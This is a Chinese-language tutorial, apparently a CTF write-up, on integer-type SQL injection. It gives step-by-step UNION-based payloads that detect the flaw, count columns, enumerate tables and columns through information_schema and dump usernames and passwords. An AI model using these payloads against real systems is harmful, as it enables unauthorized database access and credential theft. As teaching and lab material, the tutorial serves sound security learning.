整数型注入
定义:整数型注入即参数为整数型,参数两侧无引号或者其他符号。
类似于: select * from table where id=1 id后的即为参数
首先判断是否存在整数型注入。
1 and 1=1 # 返回正常
拼接后的SQL语句:select * from table where id=1 and 1=1
1 and 1=2 # 返回错误
拼接后的SQL语句:select * from table where id=1 and 1=2
3-1 # 返回id=2的内容
拼接后的SQL语句:select * from table where id=3-1
根据回显的不同,我们可以看到插入的语句被当作SQL语句执行了,从而判断此处存在整数型注入。
通常把使用UNION语句将数据展示到页面上的注入方法称为UNION(联合查询)注入。
SQL语法中的UNION联合查询用于合并两个或多个select语句的结果集,UNION内部的每个select语句必须拥有相同数量的列,在某些数据库中,每个select语句中列的数据类型也必须一致。
整数型注入流程: 1、判断列的数量
第一种方法使用order by(排序)语句进行查询 1 order by 1 # 返回正常1 order by 2 # 返回正常1 order by 3 # 返回错误 因为column=3时返回错误,所以列数为2。
第二种方法使用union语句进行查询 1 union select 1 # 返回错误1 union select 1,2 #返回正常 所以列数为2
2、使用union语句查询数据库
-1 union select 1,database()
SQL语句:select * from table where id=-1 union select 1,database()
这里id=-1是因为回显数据的时候只会显示一条数据,需要让第一个select语句查询返回为空。
MySQL5.0以上的版本中,有一个名为information_schema的默认数据库,里面存放着所有数据库的信息,比如表名、列名、对应权限等。
3、查询表名
-1 union select 1,table_name from information_schema.tables where table_schema=‘db’
SQL语句:select * from table where id=-1 union select 1,table_name from information_schema.tables where table_schema=‘db’
上面的语句仅能返回一个表名,但数据库中一般都会有多个表,当出现需要查询的数据不止一条,而回显只能显示一条数据的情况时,可以通过group_concat()函数将多条数据合并成字符串输出,或者使用limit选择输出第几条数据。
选择group_concat()函数一次查询出所有表名,代码如下:
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘db’
SQL语句:select * from table where id= -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘db’
可以得到所有的表
4、查询列名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘user’
SQL语句:select * from table where id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘user’
可以得到表中的所有列名
5、查询数据
-1 union select 1,group_concat(username,password) from db.user
SQL语句:select * from table where id=-1 union select 1,group_concat(username,password) from db.user
可以获取字段值,至此字符型注入结束,获得flag